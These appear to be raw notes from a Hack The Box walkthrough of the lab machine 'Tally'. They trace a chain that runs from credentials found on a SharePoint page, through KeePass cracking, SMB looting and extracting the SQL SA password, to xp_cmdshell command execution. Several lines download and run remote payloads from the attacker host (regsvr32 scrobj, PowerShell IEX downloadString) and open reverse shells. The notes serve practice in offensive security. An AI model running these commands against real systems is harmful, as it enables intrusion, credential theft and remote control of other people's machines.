FTP CREDS

KEEPASS

SMBCLIENT

STRINGS COMMAND TO GET CREDS FROM EXE FILE

MSSQL PEN TEST (METASPLOIT)

NISHANG SHELL

LONELY POTATO TO PRIVESC

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-syst:

|_ SYST: Windows_NT

80/tcp open http Microsoft IIS httpd 10.0

|_http-generator: Microsoft SharePoint

|_http-server-header: Microsoft-IIS/10.0

| http-title: Home

|_Requested resource was http://tally.htb/_layouts/15/start.aspx#/default.aspx

81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Bad Request

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

808/tcp open ccproxy-http?

1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM

http://tally.htb//sitepages/FinanceTeam.aspx

Hi all,

Welcome to your new team page!

As always, there's still a few finishing touches to make. Rahul - please upload the design mock ups to the Intranet folder as 'index.html' using the ftp_user account - I aim to review regularly.

We'll also add the fund and client account pages in due course.

Thanks – Sarah & Tim.

http://10.10.10.59/_layouts/15/viewlsts.aspx

http://10.10.10.59/Shared%20Documents/Forms/AllItems.aspx

FTP details

hostname: tally

workgroup: htb.local

password: UTDRSCH53c"$6hys

Please create your own user folder upon logging in

root@akg:/home/akg/Desktop/hackthebox/tally# ftp tally.htb

users>tim>files>tim.kdbx

root@akg:/home/akg/Desktop/hackthebox/tally# keepass2john tim.kdbx

root@akg:/home/akg/Desktop/hackthebox/tally# john --format="keepass" --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

simplementeyo

root@akg:/home/akg/Desktop/hackthebox/tally# keepassx tim.kdbx

Finance: Acc0unting

root@akg:/home/akg/Desktop/hackthebox/tally# smbclient //10.10.10.59/ACCT -U Finance

smb: \> cd zz_Archived

smb: \zz_Archived\> cd SQL

smb: \zz_Archived\SQL\> get conn-info.txt

smb: \> cd zz_Migration\

smb: \zz_Migration\> cd Binaries

smb: \zz_Migration\Binaries\> cd "New folder"

smb: \zz_Migration\Binaries\New folder\> get tester.exe

root@akg:/home/akg/Desktop/hackthebox/tally# strings tester.exe | grep DATABASE

DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;

msf5 > use exploit/multi/script/web_delivery

msf5 exploit(multi/script/web_delivery) > set target 3

target => 3

msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/script/web_delivery) > set lhost tun0

lhost => tun0

msf5 exploit(multi/script/web_delivery) > set srvhost tun0

[-] The following options failed to validate: Value 'tun0' is not valid for option 'SRVHOST'.

srvhost => 0.0.0.0

msf5 exploit(multi/script/web_delivery) > set srvhost 10.10.14.33

srvhost => 10.10.14.33

msf5 exploit(multi/script/web_delivery) > run

regsvr32 /s /n /u /i:http://10.10.14.33:8080/ym0kuTip.sct scrobj.dll

NEW MSFCONSOLE

msf5 auxiliary(admin/mssql/mssql_exec) > set rhosts 10.10.10.59

rhosts => 10.10.10.59

msf5 auxiliary(admin/mssql/mssql_exec) > set password GWE3V65#6KFH93@4GWTG2G

password => GWE3V65#6KFH93@4GWTG2G

msf5 auxiliary(admin/mssql/mssql_exec) > set CMD regsvr32 /s /n /u /i:http://10.10.14.33:8080/ym0kuTip.sct scrobj.dll

CMD => regsvr32 /s /n /u /i:http://10.10.14.33:8080/ym0kuTip.sct scrobj.dll

msf5 auxiliary(admin/mssql/mssql_exec) > exploit

(DIDNT WORK)

sqsh -S 10.10.10.59 -U sa

GWE3V65#6KFH93@4GWTG2G

1> EXEC SP_CONFIGURE 'show advanced options', 1

2> EXEC SP_CONFIGURE 'xp_cmdshell', 1

3> reconfigure

4> go

1> EXEC SP_CONFIGURE 'xp_cmdshell', 1

2> reconfigure

3> go

1> xp_cmdshell 'whoami'

2> go

NISHANG SHELL

root@akg:/home/akg/Desktop/hackthebox/tally# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/tally# nc -nlvp 9001

xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://10.10.14.33/nishang.ps1')"

SHELL GAINED!!!!!!

root@akg:/home/akg/Desktop/hackthebox/tally# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f exe -o meterpreter.exe

root@akg:/home/akg/Desktop/hackthebox/tally# python -m SimpleHTTPServer

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/LP.ps1')